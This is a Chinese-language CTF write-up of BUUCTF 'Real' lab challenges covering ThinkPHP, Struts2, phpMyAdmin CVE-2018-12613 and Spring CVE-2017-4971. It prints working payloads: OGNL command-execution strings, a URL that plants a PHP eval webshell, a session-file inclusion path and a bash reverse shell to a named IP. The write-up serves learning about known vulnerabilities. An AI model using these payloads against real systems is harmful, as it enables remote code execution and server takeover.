BUUCTF笔记之Real部分WP(一)
声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!
1、[ThinkPHP]5.0.23-Rce
发起一个请求,抓包:
将其修改为POST请求:
然后放进repeater,加入payload:(加入payload的时候不能照搬别人的POC,自己的请求是什么样就什么样,照搬别人的POC基本会导致失败)
写入了一个显示phpinfo的文件,实际操作中可以写入一句话拿shell。
然后访问这个php:
拿到flag:
2、[ThinkPHP]2-RCE
访问http://node3.buuoj.cn:26287/index.php?s=/index/index/name/$%7B@phpinfo()%7D‘
就可以看到phpinfo,flag就在里面:
通过该POC执行system():
http://node3.buuoj.cn:28868/index.php?s=/index/index/name/${@system(whoami)}
效果如下:
直接菜刀能够通过这个poc写入一句话:
http://node3.buuoj.cn:28868/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}:
3、[Struts2]s2-013
漏洞影响的struts2版本:2.0.0 - 2.3.14.1
POC:http://node3.buuoj.cn:26574/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27在这里执行任意命令!!!!!%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
把POC中的中文换成env获取环境变量即可拿到flag,效果:
此处只刷flag,不讨论原理。
4、[PHPMYADMIN]CVE-2018-12613
漏洞影响的phpmyadmin版本:<=4.8.1
这个漏洞要利用需要有一个比较苛刻的前提:能够访问phpmyadmin,也就是说得拿到phpmyadmin的权限才可以。
POC:http://node3.buuoj.cn:26583/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_efeb2d048efaf9aa43cd3f787d241f77
利用:
打开浏览器的控制台,然后在phpmyadmin的控制台那里执行一个一句话:
查看我们的session:
然后利用上述POC包含服务器上的session文件,目标服务器的debian系统下的session存放在tmp/sess_这里填上面看到的sessionid:
生成一个poc:
http://node3.buuoj.cn:26583/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_4da786c79daf35c5e187e775c9cb3262
用菜刀连接之,但在这里不知道为什么我的一句话没有执行成功,换了蚁剑和cknife都失败了,没办法只好传了一个大马的代码上去,通过文件包含访问这个大马成功。大马的截图就不放出来了。
实际上如果只是要flag的话包含一个<?php phpinfo()?>就行:
5、[struts2]s2-045
漏洞影响的struts2版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
这是一个很经典的漏洞,Java作为我的老本行,有必要对这个漏洞深入研究一番,先附脚本小子使用工具简单粗暴的做法:
然后对该漏洞深入研究一波
5.1 OGNL表达式
6、[struts2]s2-001
漏洞影响:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
POC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"在这里执行任意命令"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
拿flag POC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
查看pwd:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
上述POC在表单里任意一个输入框输入即可。
7、[struts2]s2-012
影响版本: 2.1.0 - 2.3.13
原理:如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,那么当触发重定向类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
POC同第六的s2-001:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
8、[struts2]s2-007
影响版本: Struts2 2.0.0 - Struts2 2.2.3
POC:'+ (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
在age输入框里输入。
9、[struts2]s2-005
因为vulhub里面没有带回显的POC,直接使用工具:
10、[struts2]s2-015
上工具:
由于工具的S2-015不可用,用S2-016执行env命令。
11、[struts2]s2-009
同上,工具的S2-009无效,用S2-008跑出来了:
实际上不用工具也能跑出来,POC:
http://node3.buuoj.cn:28889/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22此处执行任意命令%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
12、[struts2]s2-052
详细分析见BUUCTF之Real部分WP([struts2]s2-052)
13、[struts2]s2-016
上工具:
14、[struts2]s2-046
上工具:
15、[Spring]CVE-2017-4971
这题也很是愚蠢了,虽然照着vulhub做法做出来了,但完全不知道在实际渗透中怎么寻找其漏洞所在url。。。。。。。
在确认酒店信息的时候抓包,抓到的包如下:
先在vps里面监听21端口,其他端口应该也行。
然后在抓到的包里面添加POC:_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/116.85.14.214/21+0>%261")).start()=vulhub
除了IP改成自己的vps的IP,端口看情况改之外其他什么都不要改。
拿到flag:
BUUCTF笔记之Real部分WP(一)相关推荐
- BUUCTF笔记之Web系列部分WriteUp(五)
1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...
- BUUCTF·[MRCTF2020]天干地支+甲子·WP
题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...
- BUUCTF笔记之Misc系列部分WriteUp(二)
1.爱因斯坦 binwalk分离出一个压缩包. 查看图片备注: 解压得到flag. 2.easycap 追踪TCP流: 3.另外一个世界 binwalk和steg一无所获,图片备注也看了没有收获,wi ...
- CISP-PTE学习笔记综合考试题复现WP
文章目录 综合考试题(一)梅奥诊所系统 问题 解题WP 1.获取后台 2.获取shell 3.提权查看文件 摘抄 综合考试题(一)梅奥诊所系统 问题 问题1:请访问192.168.0.110,登录网站 ...
- BUUCTF笔记之Web系列部分WriteUp(三)
声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负! 1.[CISCN2019 华北赛区 Day2 Web1]Hack World 最近多做做sql注入,感觉自己在这一块还是很菜,进去就给 ...
- BUUCTF笔记之N1BOOK
1.[第一章 web入门]常见的搜集 robots.txt得到一部分flag: flag1:n1book{info_1 备份文件index.php~得到第二部分flag: flag2:s_v3ry_i ...
- BUUCTF笔记之Web系列部分WriteUp(四)
1.[BJDCTF2020]Mark loves cat dirb扫描目录发现.git泄露. githack获取源码 <?php$flag = file_get_contents('/flag' ...
- BUUCTF wp-异性相吸
BUUCTF异性相吸 看wp,用到的是异或知识 题目给了 利用010打开后转换为二进制代码,然后用二进制异或脚本.py 得到下图,再点击hex即可复制flag 在010 editor中要复制二进制数值 ...
- 转载自wu496963386 cuda11.1 tensorflow1.15.4进行训练,亲测有效
RTX3080+Ubuntu18.04+cuda11.1+cudnn8.0.4+TensorFlow1.15.4+PyTorch1.7.0环境配置 wxs1129 2020-11-09 18:41:0 ...
最新文章
- 芝麻HTTP:Scrapy-Splash的安装
- Vue笔记(五)——Token生命周期
- devi into python 笔记(一)字典 列表的简单操作
- if 组件是否存在_UE4 UMG简介+Slate组件问题排查
- 公司不能把笔记导出去真操蛋
- 科研 | 如何找到研究的突破点?
- Cesium 模拟下雪
- matlab幂指数函数图像,matlab画指数函数曲线
- 74LS138译码器实现2位二进制乘法器-QuartusII 软件仿真
- SGMII和RGMII入门学习
- 日立电梯举办2018“新思维 新动能”创新分享汇
- Windows 驱动开发 新手入门(一)
- JQuery中$(document)、$(document).ready()是什么意思?
- Linux命令之shred命令
- Simulation of Wrinkled Surfaces Revisited
- LyX使用小记之二 图像
- [OpenCV] CV_32F与CV_8U之间的数据类型转换
- linux如何让命令是中文,linux centos 让man命令帮助显示简体中文
- SQL查询优化——表分区
- 转载:2008年不可错过的25部新剧
热门文章
- vscode国内下载
- 全景拍摄—地面拍摄教程
- C语言实现可写入文件的账号密码登录系统,密码输入时掩盖,登录界面菜单选择,更改密码系统,课设必备。
- .netframewor金山卫士推送微软8月补丁 IE所有版本存在高危漏洞
- 28.EOS的共识机制与区块生成
- 4.10 单元格内容的隐藏和保护 [原创Excel教程]
- MATLAB中内置的BP神经网络函数 help newff翻译【学习笔记】
- 项目管理计算:EV、PV、AC、BAC、CV、SV、EAC、ETC、CPI、SPI各是什么意思
- 数字藏品叠加元宇宙热潮,数字艺术会迎来怎样的发展
- 介绍一种Android 平台 不需要获取imei imsi 无权限就能获取手机运营商的方法